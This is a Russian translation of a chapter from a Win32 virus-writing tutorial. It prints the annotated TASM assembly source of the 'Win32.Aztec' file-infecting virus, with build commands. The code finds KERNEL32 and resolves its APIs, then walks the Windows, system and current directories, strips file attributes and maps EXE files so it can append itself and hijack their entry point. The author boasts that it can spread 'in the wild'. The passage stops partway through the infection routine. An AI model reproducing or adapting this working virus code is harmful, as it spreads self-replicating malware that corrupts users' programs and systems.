Путеводитель по написанию вирусов под Win32

         

Пример вируса


Не думайте, что я сумасшедший. Я помещу здесь код вируса для того, чтобы избежать последовательного описания всех этих API-функций, а продемонстрировать их в действии :). Этот вирус - одно из моих последних созданий. Мне потребовался один день, чтобы его закончить: он основывается на Win95.Iced Earth, но без багов и специальных функций. Наслаждайтесь Win32.Aztec! (Да, Win32!!!).

;---[ CUT HERE ]------------------------------------------------------------- ; [Win32.Aztec v1.01] - Bugfixed lite version of Iced Earth ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; Имя вируса : Aztec v1.01 ; Автор вируса : Billy Belcebu/iKX ; Происхождение : Испания ; Платформа : Win32 ; Мишень : PE files ; Компилирование: TASM 5.0 и TLINK 5.0 ; tasm32 /ml /m3 aztec,,; ; tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib, ; pewrsec aztec.exe ; Примечание : Ничего особенного в этот раз. Просто пофиксены баги вируса ; Iced Earth и убраны особые возможности. Это действительно ; вирус для обучения. ; Почему Aztec? : Почему вирус называется именно так? Много причин: ; • Раз уж есть вирус Inca и вирус Maya... ;) ; • Я жил в Мексике шесть месяцев ; • Я ненавижу фашистские методы, которые использовал Кортес ; • для того, чтобы отбирать территории у ацтеков ; • Мне нравится их мифология ;) ; • Моя отстойная звуковая карта называется Aztec :) ; • Я люблю Salma Hayek! :)~ ; • KidChaos - это друг :) ; Поздравления : Хорошо, в этот раз поздравления только людям из EZLN и ; MRTA. ; ; (c) 1999 Billy Belcebu/iKX

.386p ; требуется 386+ =) .model flat ; 32-х битные регистры без ; сегментов jumps ; Чтобы избежать переходов за ; пределы границы

extrn MessageBoxA:PROC ; Импортировано 1-ое ; поколение extrn ExitProcess:PROC ; API-функции :)

; Some equates useful for the virus

virus_size equ (offset virus_end-offset virus_start) heap_size equ (offset heap_end-offset heap_start) total_size equ virus_size+heap_size shit_size equ (offset delta-offset aztec)

; Жестко задается только для первого поколения, не беспокойтесь ;)


kernel_ equ 0BFF70000h kernel_wNT equ 077F00000h
.data
szTitle db "[Win32.Aztec v1.01]",0
szMessage db "Aztec is a bugfixed version of my Iced Earth",10 db "virus, with some optimizations and with some",10 db "'special' features removed. Anyway, it will",10 db "be able to spread in the wild succefully :)",10,10 db "(c) 1999 by Billy Belcebu/iKX",0
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Все это отстой: несколько макросов, чтобы сделать код более понятным, ; кое-что для первого поколения и т.д. ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
.code


virus_start label byte
aztec: pushad ; Помещаем в стек все ; регистры pushfd ; Помещаем в стек регистр ; флагов
call delta ; Самый сложный для понимания ; код ;) delta: pop ebp mov eax,ebp sub ebp,offset delta
sub eax,shit_size ; Получаем базу образа на sub eax,00001000h ; лету NewEIP equ $-4 mov dword ptr [ebp+ModBase],eax
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок. Во-первых, я помещаю в стек все регистры и все флаги (не потому что ; ; это требуется, а потому что я привык это всегда делать). Затем я делаю ; ; нечто очень важное. Да! Это дельта-смещение! Мы должны получить его по ; ; очень простой причине: мы не знаем где находится исполняющийся код. Я не ; ; буду рассказывать о дельта-смещении что-то еще, потому что я уверен, что ; ; вы узнали об этом все, что нужно еще во время программирования под DOS ; ; ;). Ладно, теперь нам нужно получить базу образа текущего процесса. Это ; ; необходимо для последующего возвращения управления носителю (что будет ; ; сделано позже). Сначала мы вычитаем базы между меткой delta и aztec ; ; (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5)), после чего мы вычитаем ; ; текущий EIP (пропатченный во время заражения) и вуаля! У нас есть база ; ; образа. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


mov esi,[esp+24h] ; Получаем адрес возврата ; программы and esi,0FFFF0000h ; Выравниваем на 10 страниц mov ecx,5 ; 50 страниц (в группах по ; 10) call GetK32 ; Вызываем процедуру mov dword ptr [ebp+kernel],eax ; EAX будет содержать адрес ; базы образа K32
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы помещаем в ESI адрес, откуда был вызван процесс (он находится ; ; в KERNEL32.DLL, вероятно API-функция CreateProcess). Изначально это ; ; адрес, на который указывает ESP, но так как мы поместили в стек 24 байта ; ; (20 использовал PUSHAD, другие 4 - PUSHFD), нам необходимо это учесть. А ; ; после этого мы выравниваем его на 10 страниц, делая самое младшее слова ; ; равным нулю. После этого мы устанавливаем другие параметры для процедуры ; ; GetK32, ECX, который содержит максимальное количество групп по 10 ; ; страниц, делаем равным 5 (что дает 5*10=50 страниц), а после чего мы ; ; вызываем процедуру. Как только она вернет нам правильный адрес базы ; ; KERNEL32, мы его сохраняем. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
lea edi,[ebp+@@Offsetz] lea esi,[ebp+@@Namez] call GetAPIs ; Получаем все API-функции
call PrepareInfection call InfectItAll
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы задаем параметры процедуры GetAPIs: EDI, указывающий на ; ; массив DWORD'ов, которые будут содержать адреса API-функций и ESI, ; ; указывающий на имена API-функций (в формате ASCIIz), которые необходимо ; ; найти. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
xchg ebp,ecx ; Это первое поколение? jecxz fakehost
popfd ; Восстанавливаем все флаги popad ; Восстанавливаем все ; регистры
mov eax,12345678h org $-4 OldEIP dd 00001000h
add eax,12345678h org $-4 ModBase dd 00400000h
jmp eax
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы смотрим, не является ли данное поколение вируса первым, ; ; проверяя не равен ли EBP нулю. Если это так, то мы переходим к носителю ; ; первого поколения. Если это не так, мы восстанавливаем из стека регистр ; ; флагов и все расширенные регистры. После это идет инструкция, помещающая ; ; в EAX старую точку входа зараженной программы (это патчится во время ; ; заражения), а затем мы добавляем к ней адрес базы текущего процесса ; ; (патчится во время выполнения). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


PrepareInfection: lea edi,[ebp+WindowsDir] ; Указатель на 1ую директор. push 7Fh ; Размер буфера push edi ; Адрес буфера call [ebp+_GetWindowsDirectoryA] ; Получаем директорию Windows
add edi,7Fh ; Указатель на 2ую директор. push 7Fh ; Размер буфера push edi ; Адрес буфера call [ebp+_GetSystemDirectoryA] ; Получаем системную дир.
add edi,7Fh ; Указатель на 3ью директор. push edi ; Адрес буфера push 7Fh ; Размер буфера call [ebp+_GetCurrentDirectoryA] ; Получаем текущую директорию ret
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, это простая процедура, которая используется для получения всех ; ; директорий, где вирус будет искать файлы для заражения. Так как ; ; максимальная длина директории 7F байтов, я помещаю в кучу (смотри ниже) ; ; три переменных, избегая лишних байтов и бесполезных данных. Обратите ; ; внимание, что в последнем вызове API-функции нет никаких ошибок. Давайте ; ; глубже проанализируем эти функции: ; ; ; ; Функция GetWindowsDirectory получает путь к директории Windows. ; ; Директория Windows содержит различные приложения, инициализационные ; ; файлы и файлы помощи. ; ; ; ; UINT GetWindowsDirectory( ; ; LPTSTR lpBuffer, // адрес буфера для директории Windows ; ; UINT uSize // размер буфера ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ¦ lpBuffer: указывает на буфер, в котором будет помещен путь к ; ; директории. Этот путь не будет заканчиваться слешом, если только ; ; директорией Windows не является корневая директория. Например, если ; ; директория Windows - это папка WINDOWS на диске C, то путь полученный ; ; путь к директории Windows будет "C:\WINDOWS". Если Windows была ; ; инсталлирована в корневой директории диска C, то полученный путь будет ; ; "C:\". ; ; ¦ uSize: Указывает максимальный размер в символах буфера, который задан ; ; параметором lpBuffer. Это значение должно быть равно по крайней мере ; ; MAX_PATH, чтобы обеспечить достаточное количество места в буфере для ; ; пути. ; ; ; ; Return Values ; ; ------------- ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение - это длина ; ; скопированной в буфер строки в символах, не включая завершающий символ ; ; NULL. ; ; ¦ Если длина больше размера буфера, то возвращаемое значение - это ; ; требуемый размер буфера. ; ; ; ; --- ; ; ; ; Функция GetSystemDirectory получает путь к системной директории Windows. ; ; Системная директория содержит драйвера, библиотеки Windows и файлы ; ; шрифтов. ; ; ; ; UINT GetSystemDirectory( ; ; LPTSTR lpBuffer, // адрес буфера ; ; UINT uSize // размер буфера ; ; ); ; ; ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ lpBuffer: указывает на буфер, в который будет помещен путь к системной ; ; директории. Так же как и в предыдущем случае путь не будет ; ; заканчиваться слешем, если только системная директория не является ; ; корневой. ; ; ; ; ¦ uSize: задает максимальный размер буфера в символах. Это значение ; ; должно быть не меньше MAX_PATH. ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение - это длина ; ; скопированной в буфер строки в символах, не включая завершающий символ ; ; NULL. Если длина больше размера буфера, то возвращаемое значение - это ; ; требуемый размер буфера. ; ; ; ; --- ; ; ; ; Функция GetCurrentDirectory получает текущую директорию для текущего ; ; процесса. ; ; ; ; DWORD GetCurrentDirectory( ; ; DWORD nBufferLength, // размер буфера в символах ; ; LPTSTR lpBuffer // адрес буфера ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ nBufferLength: задает длину буфера, в который будет помещен путь к ; ; текущей директории. Должен учитываться завершающий символ NULL. ; ; ; ; ¦ lpBuffer: задает адрес буфера. Полученная строка будет абсолютным ; ; путем к текущей директории. ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение задает ; ; количество символов, записанных в буфер (завершающий символ NULL не ; ; учитывается. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


InfectItAll: lea edi,[ebp+directories] ; Указатель на 1ую дир. mov byte ptr [ebp+mirrormirror],03h ; 3 директории requiem: push edi ; Устанавливаем в качестве call [ebp+_SetCurrentDirectoryA] ; текущей директорию, на ; которую указывает EDI
push edi ; Сохраняем EDI call Infect ; Заражает файлы в выбранной ; директории pop edi ; Восстанавливаем EDI
add edi,7Fh ; Другая директория
dec byte ptr [ebp+mirrormirror] ; Уменьшаем значение счетчика jnz requiem ; Последний? Если нет, то ; повторим ret
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Вначале мы делаем так, чтобы EDI указывал на первую директорию в ; ; массиве, после чего мы устанавливаем количество директорий, которые ; ; хотим заразить (dirs2inf=3). Затем мы входим в главный цикл. Он ; ; заключается в следующем: мы изменяем текущую директорию на ; ; обрабатываемую в данный момент из массива, потом заражаем все файлы в ; ; этой директории, после чего переходим к другой директории, пока не ; ; обработаем все 3. Просто, правда? :) Теперь время рассмотреть ; ; характеристики API-функции SetCurrentDirectory: ; ; ; ; Функция SetCurrentDirectory изменяет текущую директорию данного ; ; процесса. ; ; ; ; BOOL SetCurrentDirectory( ; ; LPCTSTR lpPathName // адрес имени новой текущей директории ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ lpPathName: указывает на строку, задающую путь к новой директории. ; ; Путь может быть как относительным, так и абсолютным. В любом случае ; ; высчитывается полный путь к директории и устанавливается в качестве ; ; текущего. ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение не равно ; ; нулю. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
Infect: and dword ptr [ebp+infections],00000000h ; сброс счетчика
lea eax,[ebp+offset WIN32_FIND_DATA] ; Находим структуру push eax ; Заталкиваем ее в стек lea eax,[ebp+offset EXE_MASK] ; Маска, по которой искать push eax ; Заталкиваем ее


call [ebp+_FindFirstFileA] ; Получаем первый подходящий ; файл
inc eax ; CMP EAX,0FFFFFFFFh jz FailInfect ; JZ FAILINFECT dec eax
mov dword ptr [ebp+SearchHandle],eax ; Сохраняем хэндл поиска
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Это первая часть процедуры. Первая строка сбрасывает счетчик заражения ; ; (то есть устанавливает его в 0) оптимизированным образом (в данном ; ; случае AND меньше чем MOV). Сбросив счетчик, мы начинаем искать файлы, ; ; которые можно заразить ;). Ок, в DOS у нас были функции INT 21 ; ; 4Eh/4Fh... В Win32 у нас есть 2 эквивалентные API-функции: FindFirstFile ; ; и FindNextFile. Теперь нам нужно найти 1ый файл в директории. Все ; ; Win32-функции для поиска файлов используют одну и ту же структуру (вы ; ; помните DTA?) под названием WIN32_FIND_DATA (зачастую ее называние ; ; сокращают до WFD). Давайте посмотрим на ее поля: ; ; ; ; MAX_PATH equ 260 <-- Максимальная длина пути ; ; ; ; FILETIME STRUC <-- Структура для обработки времени ; ; FT_dwLowDateTime dd ? (используется во многих ; ; FT_dwHighDateTime dd ? Win32-структурах) ; ; FILETIME ENDS ; ; ; ; WIN32_FIND_DATA STRUC ; ; WFD_dwFileAttributes dd ? <-- Содержит аттрибуты файла ; ; WFD_ftCreationTime FILETIME ? <-- Время создание файла ; ; WFD_ftLastAccessTime FILETIME ? <-- Время последнего доступа к файлу; ; WFD_ftLastWriteTime FILETIME ? <-- Время последней записи в файл ; ; WFD_nFileSizeHigh dd ? <-- Младший dword размера файла ; ; WFD_nFileSizeLow dd ? <-- Старший dword размера файла ; ; WFD_dwReserved0 dd ? <-- Зарезервировано ; ; WFD_dwReserved1 dd ? <-- Зарезервировано ; ; WFD_szFileName db MAX_PATH dup (?) <-- ASCIIz-имя файла ; ; WFD_szAlternateFileName db 13 dup (?) <-- Имя файла без пути ; ; db 03 dup (?) <-- выравнивание ; ; WIN32_FIND_DATA ENDS ; ; ; ; ¦ dwFileAttributes: содержит аттрибуты найденного файла. Это поле может ; ; содержать одно из следующих значений [недостаточно места включения их ; ; сюда: вы можете найти их в .inc-файлах из 29A и в пособиях, о которых ; ; было сказано выше. ; ; ; ; ¦ ftCreationTime: структура FILETIME, содержащая время, когда был создан ; ; файл. FindFirstFile и FindNextFile задают время в формате UTC ; ; (Coordinated Universal Time). Эти фукнции делают поля FILETIME равными ; ; нулю, если файловая система не поддерживает данные поля. Вы можете ; ; использовать функцию FileTimeToLocalFileTime для конвертирования из ; ; UTC в местное время, а затем функцию FileTimeToSystemTime, чтобы ; ; сконвертировать местное время в структуру SYSTEMTIME, которая содержит ; ; отдельные поля для месяца, дня, года, дня недели, часа, минуты, секунды ; ; и миллисекунды. ; ; ; ; ¦ ftLastAccessTime: структура FILETIME, содержащая время, когда к файлу ; ; был осуществен доступ в последний раз. ; ; ; ; ¦ ftLastWriteTime: структура FILETIME, содержащая время, когда в ; ; последний раз в файл осуществлялась запись. Время в формате UTC; поля ; ; FILETIME равны нулю, если файловая система не поддерживает это поле. ; ; ; ; ¦ nFileSizeHigh: верхний DWORD размера файла в байтах. Это значение ; ; равно нулю, если только размер файле не больше MAXDWORD. Размер файла ; ; равен (nFileSizeHigh * MAXDWORD) + nFileSizeLow. ; ; ; ; ¦ nFileSizeLow: содержит нижний DWORD размера файла в байтах. ; ; ; ; ¦ dwReserved0: зарезервировано для будущего использования. ; ; ; ; ¦ dwReserved1: зарезервировано для будущего использования. ; ; ; ; ¦ cFileName: имя файла, заканчивающееся NULL'ом. ; ; ; ; ¦ cAlternateFileName: альтернативное имя файла в классическом 8.3 ; ; (filename.ext) формате. ; ; ; ; Теперь, когда мы изучили поля структуры WFD, мы можем более тщательно ; ; рассмотреть функции поиска. Во-первых, давайте посмотрим описание ; ; API-функции FindFirstFileA: ; ; ; ; Функция FindFirstFile проводит в текущей директории поиск файлов, чье ; ; имя совпадает с заданным. FindFirstFile проверяет имена как обыкновенных ; ; файлов, так и поддиректорий. ; ; ; ; HANDLE FindFirstFile( ; ; LPCTSTR lpFileName, // указатель на имя файла, который надо найти ; ; LPWIN32_FIND_DATA lpFindFileData // указатель на возвращенную ; ; // информацию ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ lpFileName: A. Windows 95: указатель на строку, которая задает ; ; валидную директорию или путь и имя файла, которые могут ; ; содержать символы * и ?). Эта строка не должна ; ; превышать MAX_PATH символов. ; ; B. Windows NT: указатель на строку, которая задает ; ; валидную директорию или путь и имя файла, которые могут ; ; содержать символы ; ; ; ; Ограничение длины пути составляет MAX_PATH символов. Этот лимит задает, ; ; каким образом функция FindFirstFile парсит пути. Приложение может обойти ; ; это ограничение и послать пути длинее MAX_PATH символов, вызывав ; ; юникодовую (W) версию FindFirstFile и добавив к началу пути "\\?\". ; ; Последнее говорит функции отключить парсинг пути; это позволяет ; ; использовать путь длинее MAX_PATH символов. Как составляющая пути "\\?\" ; ; игнорируется. Например "\\?\C:\myworld\private" будет расцениваться как ; ; "C:\myworld\private", а "\\?\UNC\bill_g_1\hotstuff\coolapps" будет ; ; считаться как "\\bill_g_1\hotstuff\coolapps". ; ; ; ; ¦ lpFindFileData: указывает на структуру WIN32_FIND_DATA, которая ; ; получает информацию о найденном файле или поддиректории. Структуру ; ; можно использовать в последующих вызовах функций FindNextFile или ; ; FindClose (хм... в последней функции WFD не нужна - прим. пер.). ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение является ; ; хэндлом поиска, которое можно использовать в последующих вызовах ; ; FindNextFile или FileClose. ; ; ; ; ¦ Если вызов функции не удался, возвращаемое значение равно ; ; INVALID_HANDLE_VALUE. Чтобы получить расширенную информацию, вызовите ; ; GetLastError. ; ; ; ; Теперь вы знаете значение всех параметров функции FindFirstFile. Между ; ; прочим, теперь вам также известно, что означают последние строки ; ; нижеследующего блока кода :). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


__1: push dword ptr [ebp+OldEIP] ; Сохраняем OldEIP и ModBase, push dword ptr [ebp+ModBase] ; изменяющиеся во время ; заражения
call Infection ; Заражаем найденный файл
pop dword ptr [ebp+ModBase] ; Восстанавливаем их pop dword ptr [ebp+OldEIP]
inc byte ptr [ebp+infections] ; Увеличиваем значение ; счетчика cmp byte ptr [ebp+infections],05h ; Превысили наш лимит? jz FailInfect ; Черт...
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Первое, что мы должны сделать - это сохранить значение нескольких важных ; ; переменных, которые нужно будет использовать после того, как мы возвратим; ; контроль носителю, но которые, к сожалению, меняются во время заражения ; ; файлов. Мы вызываем процедуру заражения: нам требуется только информация ; ; о WFD, поэтому нам не нужно передавать ей какие-либо параметры. После ; ; заражения соответствующих файлов мы восстанавливаем значения измененных ; ; переменных, а затем увеличиваем счетчик заражения и проверяем, заразили ; ; ли мы уже 5 файлов (предел количества заражений нашего вируса). Если это ; ; случилось, вирус выходит из процедуры заражения. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
__2: lea edi,[ebp+WFD_szFileName] ; Указатель на имя файла mov ecx,MAX_PATH ; ECX = 260 xor al,al ; AL = 00 rep stosb ; Очищаем пеpеменную со ; стаpым именем файла lea eax,[ebp+offset WIN32_FIND_DATA] ; Указатель на WFD push eax ; Push'им ее push dword ptr [ebp+SearchHandle] ; Push'им хэндл поиска call [ebp+_FindNextFileA] ; Hаходим дpугой файл
or eax,eax ; Пpовал? jnz __1 ; Hет, заpажаем следующий файл
CloseSearchHandle: push dword ptr [ebp+SearchHandle] ; Push'им хэндл поиска call [ebp+_FindClose] ; И закpываем его
FailInfect: ret
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Пеpвый блок кода делает пpостую вещь - он уничтожает данные в стpуктуpе ; ; WFD (конкpетно - данные об имени файла). Это делается для того, чтобы ; ; избежать возможных пpоблем пpи нахождении следующего файла. Следующее, ; ; что мы делаем - это вызываем фукнцию FindNextFile. Далее пpиводится ее ; ; описание: ; ; ; ; Функция FindNextFile пpодолжает файловый поиск, начатый вызовом функции ; ; FindFirstFile. ; ; ; ; BOOL FindNextFile( ; ; HANDLE hFindFile, // хэндл поиска ; ; LPWIN32_FIND_DATA lpFindFileData // указатель на стpуктуpу данных ; ; // по найденному файлу ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFindFile: идентифициpует хэндл поиска, возвpащенный пpедыдущим ; ; вызовом функции FindFirstFile. ; ; ; ; ¦ lpFindFileData: указывает на стpуктуpу WIN32_FIND_DATA, котоpая ; ; получает инфоpмацию о найденном файле или поддиpектоpии. Стpуктуpа ; ; может использоваться в дальнейших вызовах FindNextFile для ссылки на ; ; найденный файл или диpектоpию. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции пpоваливается, возвpащаемое значение pавно нулю. ; ; Чтобы получить дополнительную инфоpмацию об ошибке, вызовите ; ; GetLastError. ; ; ; ; ¦ Если файлы, соответствующие вашему запpосу, не были найдены, функция ; ; возвpатит ERROR_NO_MORE_FILES. ; ; ; ; Если FindNextFile возвpатила ошибка или виpус уже сделал максимальное ; ; количество заpажений, мы пеpеходим к последней пpоцедуpе данного блока. ; ; Она заключается в закpытии хэндла поиска с помощью FindClose. Как обычно ; ; пpиводится описание данной функции. ; ; ; ; Функция FindClose закpывает пеpеданный ей хэндл поиска. Функции ; ; FindFirstFile и FindNextFile используют хэндл поиска, чтобы находить ; ; файлы, соответствующие заданному имени. ; ; ; ; BOOL FindClose( ; ; HANDLE hFindFile // хэндл поиска ; ; ); ; ; ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFindFile: хэндл поиска, возвpащенный функцией FindFirstFile. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию, вызовите GetLastError. ; ; ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


Infection: lea esi,[ebp+WFD_szFileName] ; Получаем имя заpажаемого ; файла push 80h push esi call [ebp+_SetFileAttributesA] ; Стиpаем его аттpибуты
call OpenFile ; Откpываем его
inc eax ; Если EAX = -1, пpоизошла jz CantOpen ; ошибка dec eax
mov dword ptr [ebp+FileHandle],eax
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Перове, что мы делаем, это стиpаем атpибуты файла и устанавливаем их ; ; pавными стандаpтным. Это осуществляется с помощью функции ; ; SetFileAttributes. Вот кpаткое объяснение данной функции: ; ; ; ; Функция SetFileAttributes устанавливает атpибуты файла. ; ; ; ; BOOL SetFileAttributes( ; ; LPCTSTR lpFileName, // адpес имени файла ; ; DWORD dwFileAttributes // адpес устанавливаемых атpибутов ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ lpFileName: указывает на стpоку, задающую имя файла, чьи атpибуты ; ; устанавливаются. ; ; ; ; ¦ dwFileAttributes: задает атpибуты файла, котоpые должны быть ; ; установлены. Этот паpаметp должен быть комбинацией значений, котоpые ; ; можно найти в соответствующем заголовочном файле. Как бы то ни было, ; ; стандаpтным значением является FILE_ATTRIBUTE_NORMAL. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ; ; ; После установки новых атpибутов мы откpываем файл и, если не пpоизошло ; ; ошибки, хэндл файла сохpаняется в соотвествующей пеpеменной. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; во-пеpвых, мы call CreateMap ; начинаем мэппиpовать файл
or eax,eax jz CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call MapFile ; Мэппиpуем его
or eax,eax jz UnMapFile
mov dword ptr [ebp+MapAddress],eax
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы помещаем в EC pазмеp файла, котоpый собиpаемся мэппиpовать, ; ; после чего вызываем функцию мэппинга. Мы пpовеpяем на возможные ошибки, ; ; и если таковых не пpоизошло, мы пpодолжаем. В пpотивном случае мы ; ; закpываем файл. Мы сохpаняем хэндл меппинга и готовимся к завеpшающей ; ; пpоцедуpе мэппиpования файла с помощью функции MapFile. Как и pаньше, мы ; ; мы пpовеpяем, не пpоизошло ли ошибки и поступаем в соответствии с ; ; полученным pезультатом. Если все пpошло хоpошо, мы сохpаняем полученный ; ; в pезультате мэппинга адpес. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


mov esi,[eax+3Ch] add esi,eax cmp dword ptr [esi],"EP" ; Это PE? jnz NoInfect
cmp dword ptr [esi+4Ch],"CTZA" ; Заpажен ли он уже? jz NoInfect
push dword ptr [esi+3Ch]
push dword ptr [ebp+MapAddress] ; Закpываем все call [ebp+_UnmapViewOfFile]
push dword ptr [ebp+MapHandle] call [ebp+_CloseHandle]
pop ecx
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Адpес находится в EAX. Мы получаем указатель на PE-заголовок ; ; (MapAddress+3Ch), затем ноpмализуем его и, таким обpазом, получаем ; ; pаботающий указатель на PE-заголок в ESI. С помощью сигнатуpы мы ; ; пpовеpяем, веpен ли он, после чего удостовеpиваемся, что файл не был ; ; заpажен pанее (мы сохpаняем специальную метку заpажения в PE по смещению ; ; 4Ch, не используемую пpогpаммой), после чего сохpаняем в стеке ; ; выpавнивание файла (File Alignement) (смотpи главу о фоpмате заголовка ; ; PE). Затем закpываем хэндл мэппинг и восстанавливаем запушенное pанее ; ; выpавнивание файла из стека, сохpаняя его в pегистpе ECX. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; и мэппим все снова add eax,virus_size
call Align xchg ecx,eax
call CreateMap or eax,eax jz CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+NewSize] call MapFile
or eax,eax jz UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,[eax+3Ch] add esi,eax
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Hаходящееся в ECX выpавнивание файла необходимо для последующего вызова ; ; функции Align, котоpый мы и совеpшаем, пpедваpительно поместив в EAX ; ; pазмеp откpытого файла плюс pазмеp виpуса. Функция возвpащает нам ; ; выpавненный pазмеp файла. Hапpимеp, если выpавнивание pавно 200h, а ; ; pазмеp файла + pазмеp виpуса - 1234h, то функция 'Align' возвpатит нам ; ; 12400h. Результат мы помещаем в ECX. Мы снова вызываем функцию ; ; CreateMap, но тепеpь мы будем мэппиpовать файл с выpавненным pазмеpом. ; ; Затем мы снова получаем в ESI указатель на заголовок PE ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


